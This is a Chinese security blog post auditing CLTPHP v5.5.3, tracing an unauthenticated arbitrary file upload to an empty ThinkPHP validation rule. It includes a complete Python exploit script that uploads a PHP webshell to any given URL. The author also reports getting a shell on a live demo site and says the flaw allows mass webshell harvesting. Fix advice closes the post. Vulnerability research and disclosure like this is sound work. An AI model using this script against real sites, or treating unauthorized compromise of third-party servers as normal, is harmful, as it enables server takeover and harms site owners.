【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

  • A+
所属分类:代码审计
00
前言

CLTPHP采用ThinkPHP开发,后台采用Layui框架的内容管理系统。

在代码审计中,发现了一个无需权限的任意文件上传漏洞,可批量,已提交CNVD,分享一下思路。

01
环境搭建

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

02
代码分析

1、漏洞文件位置:/app/user/controller/UpFiles.php 第5-25行:

【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

在这段函数中,未经用户权限验证,获取表单内容,存在越权绕过上传的情况。我们继续跟进move函数:

2、文件位置:/think/library/think/File.php 第329-377行:

【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

在这段函数中,经过一系列检测后上传文件,我们重点来看一下check验证上传函数。

3、文件位置:/think/library/think/File.php 第218-245行:

【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

在check函数中检查文件大小、Mime类型、文件后缀等,主要是从数组$rule中获取,check函数未带入参数$rule,所以取$this->validate,而validate的值在该类有定义,我们看一下$validate的值

【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

在同文件中validate默认值为空,调用ThinkPHP的上传函数,但配置不当导致过滤函数chenk无效,导致程序在实现存在任意文件上传漏洞,攻击者无需任何权限,可直接上传恶意脚本,控制网站服务器权限。

03
漏洞利用

利用方式一:

1、 通过编写Python脚本,模拟Ajax 异步请求,

Python’脚本如下:

  1. #!/usr/bin/python  

  2. #-*- coding: UTF-8 -*-  

  3. #Author:Bypass  

  4. #Date:2018.03.01  

  5. import requests  

  6. import sys  


  7. def CLPHP_upload(url):  

  8.     header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' ,  

  9.                 'X-Requested-With''XMLHttpRequest',}   

  10.     geturl = url+"/user/upFiles/upload"  

  11.     files ={'file':('1.php',open('1.php','rb'),'image/jpeg')}  

  12.     res = requests.post(geturl, files=files,headers=header)  

  13.     print res.text  

  14.   

  15. if __name__ == "__main__":  

  16.     if len(sys.argv) == 2:  

  17.         url=sys.argv[1]  

  18.         CLPHP_upload(url)  

  19.         sys.exit(0)  

  20.     else:  

  21.         print ("usage: %s www.xxx.com" % sys.argv[0])  

  22.         sys.exit(-1)    

   

2、在同一目录下放置脚本和1.php文件名的小马,运行Python脚本,成功上传木马并返回路径。

【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

3、访问url,成功getshell

【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

某demo演示站点已getshell:

1、修改url地址,运行Python脚本,获取一句话上传路径【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞2、成功控制网站服务器,未深入,仅截图作为演示。另外,通过该漏洞可批量获取webshell,具体要看用户量多少了。

【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

04
修复建议

1、添加上传页面的认证,通过白名单限制上传文件后缀;

2、禁止上传目录脚本执行权限。


【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

Bypass

【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: